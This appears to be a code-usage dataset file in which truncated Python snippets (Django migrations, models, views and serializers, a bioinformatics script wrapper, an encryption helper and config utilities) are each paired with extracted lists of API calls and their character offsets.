[((1044, 1060), 'soco.SoCo', 'SoCo', (['SPEAKER_IP'], {}), '(SPEAKER_IP)\n', (1048, 1060), False, 'from soco import SoCo\n'), ((1556, 1590), 'time.sleep', 'time.sleep', (['(245 if isFajr else 190)'], {}), '(245 if isFajr else 190)\n', (1566, 1590), False, 'import time\n'), ((689, 719), 'SocketServer.TCPServer', 'TCPSer...
# Generated by Django 3.0.3 on 2020-06-12 04:39 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('rent', '0006_rentorder_pay'), ] operations = [ migrations.AddField( model_name='rentorder', name='money', ...
[ "django.db.models.IntegerField" ]
[((328, 377), 'django.db.models.IntegerField', 'models.IntegerField', ([], {'default': '(0)', 'verbose_name': '"""金额"""'}), "(default=0, verbose_name='金额')\n", (347, 377), False, 'from django.db import migrations, models\n')]
#### Usage: python3 this.py <VDJ.bed> <D.fa> <scripts_dir> <input.tlx> <output_prefix> #### 2020-02-11, we think the default score threshold = 5 of D annotation in VDJ recombination (yyx_annotate_tlx_midD_LCS.20190116.py) may be too stringent. #### We decide to change it to 3, and then implement another script to ...
[ "subprocess.check_output", "os.path.exists", "time.ctime", "os.path.getsize", "time.strftime", "os.path.isfile", "os.path.isdir", "subprocess.call", "sys.exit", "time.time", "os.walk", "os.remove" ]
[((698, 709), 'time.time', 'time.time', ([], {}), '()\n', (707, 709), False, 'import sys, os, os.path, subprocess, time\n'), ((5518, 5541), 'time.strftime', 'time.strftime', (['"""%Y%m%d"""'], {}), "('%Y%m%d')\n", (5531, 5541), False, 'import sys, os, os.path, subprocess, time\n'), ((818, 829), 'time.time', 'time.time'...
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import migrations, models import django.core.validators class Migration(migrations.Migration): dependencies = [ ('cms', '0016_auto_20160608_1535'), ('copilot', '0001_initial'), ] operations = [ migrat...
[ "django.db.models.OneToOneField", "django.db.models.UUIDField" ]
[((1135, 1280), 'django.db.models.OneToOneField', 'models.OneToOneField', ([], {'parent_link': '(True)', 'primary_key': '(True)', 'auto_created': '(True)', 'serialize': '(False)', 'related_name': '"""copilot_news"""', 'to': '"""cms.CMSPlugin"""'}), "(parent_link=True, primary_key=True, auto_created=True,\n serialize...
""" Full Text Search Framework """ from django.db import models from django.contrib.contenttypes.models import ContentType from django.contrib.contenttypes import generic from fts.settings import * if FTS_BACKEND.startswith('simple://'): class IndexWord(models.Model): word = models.CharField(uniq...
[ "django.db.models.IntegerField", "django.contrib.contenttypes.generic.GenericForeignKey", "django.db.models.ForeignKey", "django.db.models.PositiveIntegerField", "django.db.models.CharField" ]
[((299, 372), 'django.db.models.CharField', 'models.CharField', ([], {'unique': '(True)', 'db_index': '(True)', 'blank': '(False)', 'max_length': '(100)'}), '(unique=True, db_index=True, blank=False, max_length=100)\n', (315, 372), False, 'from django.db import models\n'), ((509, 537), 'django.db.models.ForeignKey', 'm...
# Copyright 2021 METRO Digital GmbH # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in wr...
[ "nacl.public.SealedBox", "base64.b64encode", "nacl.encoding.Base64Encoder", "argparse.ArgumentParser" ]
[((876, 904), 'nacl.public.SealedBox', 'public.SealedBox', (['public_key'], {}), '(public_key)\n', (892, 904), False, 'from nacl import encoding, public\n'), ((1044, 1069), 'argparse.ArgumentParser', 'argparse.ArgumentParser', ([], {}), '()\n', (1067, 1069), False, 'import argparse\n'), ((833, 857), 'nacl.encoding.Base...
import datetime import re from django.conf import settings from django.http import HttpResponse, HttpResponseRedirect from django.shortcuts import render from django.shortcuts import redirect from .core.sqlRunner import * from .core.SqlRunnerThread import * from .forms import SqlScriptForm from .forms import RunForm ...
[ "django.shortcuts.render", "datetime.datetime.now", "django.shortcuts.redirect" ]
[((871, 919), 'django.shortcuts.render', 'render', (['request', '"""homepage.html"""', "{'form': form}"], {}), "(request, 'homepage.html', {'form': form})\n", (877, 919), False, 'from django.shortcuts import render\n'), ((1032, 1072), 'django.shortcuts.render', 'render', (['request', '"""scripts.html"""', 'context'], {...
# coding=utf-8 from bluebottle.utils.model_dispatcher import get_donation_model from bluebottle.utils.serializer_dispatcher import get_serializer_class from rest_framework import serializers DONATION_MODEL = get_donation_model() class ManageDonationSerializer(serializers.ModelSerializer): project = serializers.S...
[ "bluebottle.utils.serializer_dispatcher.get_serializer_class", "rest_framework.serializers.PrimaryKeyRelatedField", "bluebottle.utils.model_dispatcher.get_donation_model", "rest_framework.serializers.SlugRelatedField", "rest_framework.serializers.DecimalField", "rest_framework.serializers.CharField" ]
[((209, 229), 'bluebottle.utils.model_dispatcher.get_donation_model', 'get_donation_model', ([], {}), '()\n', (227, 229), False, 'from bluebottle.utils.model_dispatcher import get_donation_model\n'), ((307, 354), 'rest_framework.serializers.SlugRelatedField', 'serializers.SlugRelatedField', ([], {'slug_field': '"""slug...
import json import os from .globals import CLI_GLOBALS def __maybe_init_config(): if not os.path.exists(CLI_GLOBALS.ULTRU_CLI_CONFIG_DIR): os.mkdir(CLI_GLOBALS.ULTRU_CLI_CONFIG_DIR) if not os.path.exists(CLI_GLOBALS.CONFIG): with open(CLI_GLOBALS.CONFIG, 'w') as config_fp: json.dump...
[ "json.load", "os.path.exists", "os.mkdir", "json.dump" ]
[((94, 142), 'os.path.exists', 'os.path.exists', (['CLI_GLOBALS.ULTRU_CLI_CONFIG_DIR'], {}), '(CLI_GLOBALS.ULTRU_CLI_CONFIG_DIR)\n', (108, 142), False, 'import os\n'), ((152, 194), 'os.mkdir', 'os.mkdir', (['CLI_GLOBALS.ULTRU_CLI_CONFIG_DIR'], {}), '(CLI_GLOBALS.ULTRU_CLI_CONFIG_DIR)\n', (160, 194), False, 'import os\n...
#! /usr/bin/python3 # -*- coding: utf-8 -*- # # master_python_read.py # # Jul/31/2014 import sys import json # # sys.path.append ('/var/www/data_base/common/python_common') from text_manipulate import dict_append_proc # --------------------------------------------------------------------- def data_prepare_proc (): ...
[ "text_manipulate.dict_append_proc", "json.dumps", "sys.path.append" ]
[((117, 175), 'sys.path.append', 'sys.path.append', (['"""/var/www/data_base/common/python_common"""'], {}), "('/var/www/data_base/common/python_common')\n", (132, 175), False, 'import sys\n'), ((1090, 1109), 'json.dumps', 'json.dumps', (['dict_aa'], {}), '(dict_aa)\n', (1100, 1109), False, 'import json\n'), ((345, 405...
# -*- coding: utf-8 -*- ### # (C) Copyright (2012-2017) Hewlett Packard Enterprise Development LP # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limi...
[ "config_loader.try_load_from_file", "hpOneView.oneview_client.OneViewClient", "pprint.pprint" ]
[((1485, 1511), 'config_loader.try_load_from_file', 'try_load_from_file', (['config'], {}), '(config)\n', (1503, 1511), False, 'from config_loader import try_load_from_file\n'), ((1530, 1551), 'hpOneView.oneview_client.OneViewClient', 'OneViewClient', (['config'], {}), '(config)\n', (1543, 1551), False, 'from hpOneView...
from django.conf.urls import url from cms_people.views.people import PersonView, PeopleView, PeopleMapResultView urlpatterns = [ url('^people_map_result$', PeopleMapResultView.as_view(), name='people_map_result'), url('^(?P<username>.+)$', PersonView.as_view(), name='person'), url('^$', PeopleView.as_view...
[ "cms_people.views.people.PeopleMapResultView.as_view", "cms_people.views.people.PersonView.as_view", "cms_people.views.people.PeopleView.as_view" ]
[((162, 191), 'cms_people.views.people.PeopleMapResultView.as_view', 'PeopleMapResultView.as_view', ([], {}), '()\n', (189, 191), False, 'from cms_people.views.people import PersonView, PeopleView, PeopleMapResultView\n'), ((250, 270), 'cms_people.views.people.PersonView.as_view', 'PersonView.as_view', ([], {}), '()\n'...